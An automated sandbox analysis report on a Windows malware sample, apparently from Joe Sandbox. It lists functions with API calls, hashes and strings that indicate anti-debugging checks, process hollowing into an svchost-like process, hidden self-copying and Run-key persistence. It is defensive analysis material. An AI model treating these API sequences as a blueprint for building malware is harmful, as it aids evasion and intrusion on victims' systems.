Opcode ID: bab2983d0c2064314564850c59faab085e0d37512c9f18e1fbfae7b8d179e830
Instruction ID: c1205fa116f167cf520fd4c13a40fdd9026ac08b8b64e85850777bd9b150696d
Opcode Fuzzy Hash: bab2983d0c2064314564850c59faab085e0d37512c9f18e1fbfae7b8d179e830
Instruction Fuzzy Hash: 9031E73661DA5187E760EB25E49462EB7A0F7C5B44F502035EA8E43B68DF3DD805CB50

Function 00007FF795D12D60 Relevance: 7.6, APIs: 5, Instructions: 96
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32 ref: 00007FF795D12DC4
GetTempFileNameW.KERNELBASE ref: 00007FF795D12DEB

Part of subcall function 00007FF795D12BEC: type_info::_name_internal_method.LIBCMTD ref: 00007FF795D12C1D
Part of subcall function 00007FF795D12BEC: RtlInitUnicodeString.NTDLL ref: 00007FF795D12C4F
Part of subcall function 00007FF795D12BEC: NtOpenFile.NTDLL ref: 00007FF795D12D06

NtSetInformationFile.NTDLL ref: 00007FF795D12E82
NtWriteFile.NTDLL ref: 00007FF795D12EFA
GetLastError.KERNEL32 ref: 00007FF795D12F0B

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: File$Temp$ErrorInformationInitLastNameOpenPathStringUnicodeWritetype_info::_name_internal_method
String ID:
API String ID: 3894097367-0
Opcode ID: c60a68b48e15b36e6a162428543f0853a5545c5fe251748cadc2d8b93848373f
Instruction ID: 057657d25bc625477b721c4d8afcaf2f1e77e321e6c2f142a124a22af100c5e6
Opcode Fuzzy Hash: c60a68b48e15b36e6a162428543f0853a5545c5fe251748cadc2d8b93848373f
Instruction Fuzzy Hash: AC41E832608B818AD760DB65F48435AF7A5F785BA4F805235E6AD83BE8DF7DD144CB00

Function 00007FF795D30150 Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF795D2FBC5), ref: 00007FF795D30154
GetCurrentProcess.KERNEL32 ref: 00007FF795D3016A
CheckRemoteDebuggerPresent.KERNELBASE ref: 00007FF795D30178

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: DebuggerPresent$CheckCurrentProcessRemote
String ID:
API String ID: 3920101602-0
Opcode ID: f99d0651fdf556c9b584e72e4d5c1ff9382a0391580ff3d2c9f68253d8046eac
Instruction ID: c5370b7a5ecf0b9244651da93676199b26b30a1acdc37edd1ae56d98ffc2de30
Opcode Fuzzy Hash: f99d0651fdf556c9b584e72e4d5c1ff9382a0391580ff3d2c9f68253d8046eac
Instruction Fuzzy Hash: 33F0582090D19285EB716F30E88833EA7E0AB45F0CF806174D58E86298CF3CD509CBB1

Function 00007FF795D12F38 Relevance: 3.0, APIs: 2, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL ref: 00007FF795D12F81
NtClose.NTDLL ref: 00007FF795D12FAA

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: CloseCreateSection
String ID:
API String ID: 3832541453-0
Opcode ID: 3374a5a794764395d225ce62b5347c57fb9defcd6f270290a06b2f9aa5d2173a
Instruction ID: 78196047a69e03fe3c98eb3aa314280ab9118d3828b9645bc2d765a513478d50
Opcode Fuzzy Hash: 3374a5a794764395d225ce62b5347c57fb9defcd6f270290a06b2f9aa5d2173a
Instruction Fuzzy Hash: D801CC31508A5582D774DB36F48472AB6A0F782BB8F601335F7B906AE8CF3ED4558B10

Function 00007FF795D2DFBC Relevance: 3.0, APIs: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 00007FF795D2DFCF
GetProcAddress.KERNEL32 ref: 00007FF795D2DFE4

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 0d76b06add167d4cf6fec4a5d31fc7408f5b7e96f421476ee3b93fcabe3639bc
Instruction ID: abbdc47996de22292d5977563e7a93ebc9acb09ab3a95a804d59472770e0db08
Opcode Fuzzy Hash: 0d76b06add167d4cf6fec4a5d31fc7408f5b7e96f421476ee3b93fcabe3639bc
Instruction Fuzzy Hash: 44E09276918F8082C620AB15F88011AB7B4F7C8B94F904125EACD42B3CDF3CC265CB00

Function 00007FF795D12B44 Relevance: 1.5, APIs: 1, Instructions: 29nativeCOMMON

Download Yara Rule

APIs

NtMapViewOfSection.NTDLL ref: 00007FF795D12BB8

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 086008f540e24605ddfc47095f60edbd8a2cf42a36c31bf1750eee146be0699d
Instruction ID: 16b7ec96892efe7272875c973829a3a261af287fe7aa4c73251760014c514ace
Opcode Fuzzy Hash: 086008f540e24605ddfc47095f60edbd8a2cf42a36c31bf1750eee146be0699d
Instruction Fuzzy Hash: 7F01E272508BC586E360DF61F59835BF7A0F385799F605129E6C942EA8DBBDC088CF40

Function 00007FF795D30844 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 43
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF795D31174: GetWindowsDirectoryW.KERNEL32 ref: 00007FF795D311AB
Part of subcall function 00007FF795D31174: GetVolumeInformationW.KERNELBASE ref: 00007FF795D3124C
Part of subcall function 00007FF795D31174: wsprintfW.USER32 ref: 00007FF795D312DB

SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D307CD), ref: 00007FF795D3088D
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D307CD), ref: 00007FF795D308A2
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D307CD), ref: 00007FF795D308B5
CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D307CD), ref: 00007FF795D308C5
SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D307CD), ref: 00007FF795D308D8
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D307CD), ref: 00007FF795D308ED
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D307CD), ref: 00007FF795D30900
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D307CD), ref: 00007FF795D30915

Strings

.exe, xrefs: 00007FF795D30906

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: lstrcat$Directory$AttributesCreateFileFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 1846285901-4119554291
Opcode ID: b1dceeeed50ca16b1b5bae2ebd3da7a5316590a1230e952780a438898449bef1
Instruction ID: 17fcfe3c6d55be77988ec5a725852c5ea7528db38da1cbcf648b5a5caff9d87c
Opcode Fuzzy Hash: b1dceeeed50ca16b1b5bae2ebd3da7a5316590a1230e952780a438898449bef1
Instruction Fuzzy Hash: F0112721618A9685EB70EB35F89476AE361FBC4F45F806032D64E43A6DDE3CD505C710

Function 00007FF795D12058 Relevance: 13.6, APIs: 9, Instructions: 65
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE ref: 00007FF795D12089
CloseHandle.KERNEL32 ref: 00007FF795D120A1
MapViewOfFile.KERNELBASE ref: 00007FF795D120C7
CloseHandle.KERNEL32 ref: 00007FF795D120DF
CloseHandle.KERNEL32 ref: 00007FF795D120EA

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: CloseHandle$File$CreateMappingView
String ID:
API String ID: 1771758222-0
Opcode ID: edae8342df2d6b86e2a31d811e725ecab3a5af5ba2ad6958d75b1e60dcb65b53
Instruction ID: b1d97450cfa1851dbc68c866243e499796fa9ff67a3227df5477c7295fc647ac
Opcode Fuzzy Hash: edae8342df2d6b86e2a31d811e725ecab3a5af5ba2ad6958d75b1e60dcb65b53
Instruction Fuzzy Hash: CC31DC25618A9182EB64EB35F89472EA7A0FBC4F94F506131EB8E43B68DF3DD445CB10

Function 00007FF795D30798 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF795D31174: GetWindowsDirectoryW.KERNEL32 ref: 00007FF795D311AB
Part of subcall function 00007FF795D31174: GetVolumeInformationW.KERNELBASE ref: 00007FF795D3124C
Part of subcall function 00007FF795D31174: wsprintfW.USER32 ref: 00007FF795D312DB

Part of subcall function 00007FF795D30844: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D307CD), ref: 00007FF795D3088D
Part of subcall function 00007FF795D30844: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D307CD), ref: 00007FF795D308A2
Part of subcall function 00007FF795D30844: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D307CD), ref: 00007FF795D308B5
Part of subcall function 00007FF795D30844: CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D307CD), ref: 00007FF795D308C5
Part of subcall function 00007FF795D30844: SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D307CD), ref: 00007FF795D308D8
Part of subcall function 00007FF795D30844: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D307CD), ref: 00007FF795D308ED
Part of subcall function 00007FF795D30844: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D307CD), ref: 00007FF795D30900
Part of subcall function 00007FF795D30844: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D307CD), ref: 00007FF795D30915

GetModuleFileNameW.KERNEL32 ref: 00007FF795D307DD
DeleteFileW.KERNELBASE ref: 00007FF795D307E8
CopyFileW.KERNELBASE ref: 00007FF795D30801
SetFileAttributesW.KERNELBASE ref: 00007FF795D30819

Strings

Services, xrefs: 00007FF795D30824

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Filelstrcat$AttributesDirectory$CopyCreateDeleteFolderInformationModuleNamePathVolumeWindowswsprintf
String ID: Services
API String ID: 3209240227-2319745855
Opcode ID: 357c8228e095cd80062e79d6a05d15ad2197b414554448ed5365f5c815665210
Instruction ID: 49014bf5b0728f9e9a50fd110a83ae3efbb66719b5e490364861104b11f0d52b
Opcode Fuzzy Hash: 357c8228e095cd80062e79d6a05d15ad2197b414554448ed5365f5c815665210
Instruction Fuzzy Hash: 2D012121A1855292EB70EB34E4953AA93A0FF94B44FD06032D74D829A9EE3CD60ACB50

Function 00007FF795D134F0 Relevance: 7.6, APIs: 5, Instructions: 119
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF795D12314: LoadLibraryA.KERNEL32 ref: 00007FF795D1231F

Part of subcall function 00007FF795D11478: LoadLibraryA.KERNEL32 ref: 00007FF795D11483

GetModuleFileNameW.KERNEL32 ref: 00007FF795D1353F
CreateFileW.KERNELBASE ref: 00007FF795D135E9

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: FileLibraryLoad$CreateModuleName
String ID:
API String ID: 1423211558-0
Opcode ID: 8e19fe20eb70262ac2b9ee69aec7594eb78a2744813ecd72a26dbfba2eb32f7d
Instruction ID: cabaa8c8d56d0a19fa76925cebeaabadc0e518780be47b0a81beb80a2dd5f69b
Opcode Fuzzy Hash: 8e19fe20eb70262ac2b9ee69aec7594eb78a2744813ecd72a26dbfba2eb32f7d
Instruction Fuzzy Hash: 2E51182260CA9186E734EB35E4903AFB7A0FB86B84F905035E6CD87A99DF7DD045CB10

Function 00007FF795D31174 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32 ref: 00007FF795D311AB
GetVolumeInformationW.KERNELBASE ref: 00007FF795D3124C
wsprintfW.USER32 ref: 00007FF795D312DB

Strings

%08lX%04lX%lu, xrefs: 00007FF795D312CC

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu
API String ID: 3001812590-640692576
Opcode ID: 08c2cf307d83d8194dc8edf4cd8c2b41345a18135c499c6c05916fe6c666ad14
Instruction ID: 09f9b7afa79f85b0d357747fecb424acb6c6c4bf2d70718ba7637ff1d8c074f6
Opcode Fuzzy Hash: 08c2cf307d83d8194dc8edf4cd8c2b41345a18135c499c6c05916fe6c666ad14
Instruction Fuzzy Hash: A8414F2261825186E7209B68F49536AF7A0FBC5B08F901136E78D87BA8EF7DD945CB00

Function 00007FF795D12A40 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51
processstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF795D11600: GetModuleHandleA.KERNEL32 ref: 00007FF795D1160B
Part of subcall function 00007FF795D11600: GetProcAddress.KERNEL32 ref: 00007FF795D11622

lstrcatW.KERNEL32 ref: 00007FF795D12ABA
CreateProcessInternalW.KERNELBASE ref: 00007FF795D12B22

Strings

h, xrefs: 00007FF795D12A80
-k DcomLaunch -p -s LSM, xrefs: 00007FF795D12AAB

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: AddressCreateHandleInternalModuleProcProcesslstrcat
String ID: -k DcomLaunch -p -s LSM$h
API String ID: 3850928873-3634226398
Opcode ID: cbf9cf48c1dc7b8f51cecc3bdd54dc2d48e6b5326227f3c12f8a5634a48434dd
Instruction ID: f2429f5229ba190d13f8e3d237b154b5a6e9ccbb1efea19c08ed53513592a8ba
Opcode Fuzzy Hash: cbf9cf48c1dc7b8f51cecc3bdd54dc2d48e6b5326227f3c12f8a5634a48434dd
Instruction Fuzzy Hash: 1D212532608B8282E760CF25F4843AAB7E5F785784F905135E68D43B68EF7DC159CB50

Function 00007FF795D30F48 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00007FF795D30830), ref: 00007FF795D30F77
RegSetValueExW.KERNELBASE ref: 00007FF795D30FE0
RegCloseKey.ADVAPI32 ref: 00007FF795D30FEF

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00007FF795D30F69

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: CloseOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 779948276-1428018034
Opcode ID: 4a561f427d5a0833e66d88e195127c8b8fb31ed43f9b64d14c46dfc272e21bc7
Instruction ID: abcedf68cd10d6a06ca4b66531fa94dda57c70a77c0305d427aab986dc384a7c
Opcode Fuzzy Hash: 4a561f427d5a0833e66d88e195127c8b8fb31ed43f9b64d14c46dfc272e21bc7
Instruction Fuzzy Hash: 44116336518B91C6D7A09F25F48065AB7B0F785BA4F502231FA9E03BA8DF3DD185CB00

Function 00007FF795D12838 Relevance: 6.1, APIs: 4, Instructions: 64
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64GetThreadContext.KERNEL32 ref: 00007FF795D1289E
Wow64SetThreadContext.KERNEL32 ref: 00007FF795D128CE
GetThreadContext.KERNEL32 ref: 00007FF795D1292C

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: ContextThread$Wow64
String ID:
API String ID: 275855601-0
Opcode ID: 590e80803c6a6598f6d34bf0cb9d71fc8d16245109229eb697420b8701098099
Instruction ID: d1a7efdd11ea24e2159863dc553af25262ac5c800180622707aad0f8c7456812
Opcode Fuzzy Hash: 590e80803c6a6598f6d34bf0cb9d71fc8d16245109229eb697420b8701098099
Instruction Fuzzy Hash: B7315A2260C6C682EB70CB25E48436AA7E1F788B84F809136DA8E83B58DF3CD504CF50

Function 00007FF795D11E8C Relevance: 6.0, APIs: 4, Instructions: 39
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileSize.KERNEL32 ref: 00007FF795D11EAB
SetFilePointer.KERNELBASE ref: 00007FF795D11ED1
WriteFile.KERNELBASE ref: 00007FF795D11EFF
SetFilePointer.KERNELBASE ref: 00007FF795D11F15

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: File$Pointer$SizeWrite
String ID:
API String ID: 2087530826-0
Opcode ID: 01f372b973729d4a890a8b11a1021b7c09579b66db996895b4a0bbe09a2f144b
Instruction ID: 8a29de22907dc3d592595a13c776a8f6edb2f35f12b8d01d89dadc1a5a844df9
Opcode Fuzzy Hash: 01f372b973729d4a890a8b11a1021b7c09579b66db996895b4a0bbe09a2f144b
Instruction Fuzzy Hash: 9111C876A28A9186D760DF79F484A2AB7A1F7C5B40F806135FA8E82A58DF3CD444CB10

Function 00007FF795D12FDC Relevance: 3.1, APIs: 2, Instructions: 76COMMON

Download Yara Rule

APIs

wcsnlen.LIBCMT ref: 00007FF795D13038

Part of subcall function 00007FF795D12B44: NtMapViewOfSection.NTDLL ref: 00007FF795D12BB8

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: SectionViewwcsnlen
String ID:
API String ID: 4106997571-0
Opcode ID: ffb3091b6b3d5a123d30ae2daab49e37f26347fd6e0e5609431d118b62138c83
Instruction ID: 2be0b66df24689643a35657279ea69da1899aa7a6d069489026aef3e7c65a9b9
Opcode Fuzzy Hash: ffb3091b6b3d5a123d30ae2daab49e37f26347fd6e0e5609431d118b62138c83
Instruction Fuzzy Hash: 90318D2261C79592EB74EB31E4803AAA7E0FB85B84F805131EA8D43B99DF3DD545CB10

Function 00007FF795D11F38 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
